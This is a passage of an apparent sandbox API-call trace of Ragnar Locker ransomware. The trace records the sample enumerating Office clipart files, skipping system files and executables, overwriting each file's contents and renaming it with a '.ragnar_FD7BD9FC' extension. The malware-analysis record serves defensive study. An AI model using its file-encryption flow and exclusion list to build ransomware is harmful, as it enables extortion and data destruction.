Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.412] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099205.WMF" | out: lpString1="J0099205.WMF") returned="J0099205.WMF" [0083.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned=".WMF" [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="autorun.inf") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="boot.ini") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="bootfont.bin") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="bootsect.bak") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="bootmgr") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="bootmgr.efi") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="bootmgfw.efi") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="desktop.ini") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="iconcache.db") returned 1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="ntldr") returned -1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="ntuser.dat") returned -1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="ntuser.dat.log") returned -1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="ntuser.ini") returned -1 [0083.412] lstrcmpiW (lpString1="J0099205.WMF", lpString2="thumbs.db") returned -1 [0083.412] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.412] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.412] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.412] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.412] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.412] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.412] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 0x20 [0083.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.413] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17854) returned 1 [0083.413] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.413] GetProcessHeap () returned 0x580000 [0083.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.413] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.414] VirtualAlloc (lpAddress=0x0, dwSize=0x45be, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.414] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.415] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.415] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x45be, lpOverlapped=0x0) returned 1 [0083.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.416] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45be, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.416] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x45be, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x45be, lpOverlapped=0x0) returned 1 [0083.416] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.416] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.416] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.416] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.417] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.417] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.417] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.417] GetProcessHeap () returned 0x580000 [0083.417] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.417] CloseHandle (hObject=0xf4) returned 1 [0083.417] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" [0083.417] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.ragnar_FD7BD9FC" [0083.417] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.417] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0083.418] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.418] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101856.BMP" | out: lpString1="J0101856.BMP") returned="J0101856.BMP" [0083.418] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned=".BMP" [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="autorun.inf") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="boot.ini") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="bootfont.bin") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="bootsect.bak") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="bootmgr") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="bootmgr.efi") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="bootmgfw.efi") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="desktop.ini") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="iconcache.db") returned 1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="ntldr") returned -1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="ntuser.dat") returned -1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="ntuser.dat.log") returned -1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="ntuser.ini") returned -1 [0083.418] lstrcmpiW (lpString1="J0101856.BMP", lpString2="thumbs.db") returned -1 [0083.418] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.418] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.418] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.418] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.418] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.418] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.418] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 0x20 [0083.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.419] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=78840) returned 1 [0083.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x133ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.419] GetProcessHeap () returned 0x580000 [0083.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.419] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.421] VirtualAlloc (lpAddress=0x0, dwSize=0x133f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.421] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x133f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x133f8, lpOverlapped=0x0) returned 1 [0083.423] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.423] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x133f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.423] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x133f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x133f8, lpOverlapped=0x0) returned 1 [0083.424] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x133f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.424] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.424] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x133f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.424] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.424] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.424] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.424] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.424] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.425] GetProcessHeap () returned 0x580000 [0083.425] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.425] CloseHandle (hObject=0xf4) returned 1 [0083.425] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" [0083.425] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.ragnar_FD7BD9FC" [0083.425] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.425] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0083.425] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.425] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101857.BMP" | out: lpString1="J0101857.BMP") returned="J0101857.BMP" [0083.425] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned=".BMP" [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="autorun.inf") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="boot.ini") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="bootfont.bin") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="bootsect.bak") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="bootmgr") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="bootmgr.efi") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="bootmgfw.efi") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="desktop.ini") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="iconcache.db") returned 1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="ntldr") returned -1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="ntuser.dat") returned -1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="ntuser.dat.log") returned -1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="ntuser.ini") returned -1 [0083.426] lstrcmpiW (lpString1="J0101857.BMP", lpString2="thumbs.db") returned -1 [0083.426] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0083.426] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0083.426] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0083.426] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0083.426] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0083.426] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0083.426] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0083.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 0x20 [0083.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.427] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0083.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.427] GetProcessHeap () returned 0x580000 [0083.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.427] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.428] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.428] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0083.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.430] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.430] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0083.430] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.430] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.430] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.431] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.431] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.431] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.431] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.431] GetProcessHeap () returned 0x580000 [0083.431] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.431] CloseHandle (hObject=0xf4) returned 1 [0083.431] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" [0083.431] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.ragnar_FD7BD9FC" [0083.431] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.431] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0083.432] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.432] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0101858.BMP" | out: lpString1="J0101858.BMP") returned="J0101858.BMP" [0083.432] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned=".BMP" [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="autorun.inf") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="boot.ini") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="bootfont.bin") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="bootsect.bak") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="bootmgr") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", lpString2="bootmgr.efi") returned 1 [0083.432] lstrcmpiW (lpString1="J0101858.BMP", 